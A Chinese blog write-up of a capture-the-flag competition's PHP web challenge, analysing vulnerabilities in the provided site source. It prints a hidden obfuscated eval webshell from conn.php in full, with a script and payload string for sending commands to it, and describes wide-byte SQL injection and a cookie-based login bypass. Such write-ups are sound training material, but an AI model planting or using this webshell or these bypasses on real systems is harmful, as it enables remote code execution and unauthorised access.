贵州省网络安全知识竞赛团体赛Writeup-phpweb部分

0x01 混淆后门#conn.php

首先还是拖到D盾扫描

 

打开conn.php发现底部有那么一串代码:

对这个代码进行分析

首先可以对几个比较简单的变量输出看一下

$s出内容为create_function

29行可知匿名函数调用$q中的代码,所以我们打印$q的内容看一下

$q的内容为:

$k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

代码格式化以后内容如下:

发现是通过input传入数据,然后需要满足正则且等于才往下执行。

需要了解的几个函数:

ob_start:php 的缓冲输出函数

gzcompress:压缩函数

gzuncompress:解压函数

ob_get_contents:得到缓冲区的数据

x是一个混淆函数,具体如何混淆的可以不去管。

我们只要知道19行他给我们进行了base64deco以及解压缩,那么反过来base64encode以及压缩就好了。

例如我们现在要将phpinfo();加密

逆向出来代码如下:

<?php
$k="5ac91f7d";
$kh="b9615a29bc1d";
$kf="24d0b67c2c91";
$p="9GmIEgwZ7HiEeclS";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }return $o;
}
$r=@base64_encode(@x(@gzcompress('phpinfo();'),$k));
echo $r;

得到字符串:Tf1I8Rmu+y/+trONN2YioDbg

最后与$kh、$kf拼接

得到b9615a29bc1dTf1I8Rmu+y/+trONN2YioDbg24d0b67c2c91

以此发送post数据包。

 

0x03 后台上传后门#up.class.php

 

第七行代码可见php也在其上传列表内;

然后看看那里调用了这个类

根据目录来看基本都是后台

复现了一下环境:

发现上传功能是坏的,所以上传功能应该是不行的。只能通过ueditor的那个编辑器上传,所以这个点只能说是作废;

0x03 SQL注入#conntent.php

addslashes函数是可被绕过的,如果当时比赛环境使用的是gbk编码的话是可以通过宽字节注入bypass的,他程序几乎都是使用这个函数的,所以直接搜素addslashes就几乎都是sql注入;

注入点非常多,我就不一一写出来了,因为这个程序源码挺大的;

0x04 权限绕过 #checklogin.php

他这个check也是写的有点搞笑。

判断$_COOKIE是否为空

所以只要请求user字段不为空就OK(x-forwarded-for是我平时就喜欢加的,可忽略)

 

 

#php web的基本就是如上漏洞,难点应该就是最初的那个PHP混淆吧,如果要修复直接删除那段木马即可,据我所知,是能够登陆就可以拿到一个flag。自动化的话也是非常简单,写一个脚本requestscookie字段填写user=1然后正则提取flag输出到txt,结合burpsuite自动提交flag

posted @ 2019-09-13 14:17  _nul1  阅读(848)  评论(0编辑  收藏  举报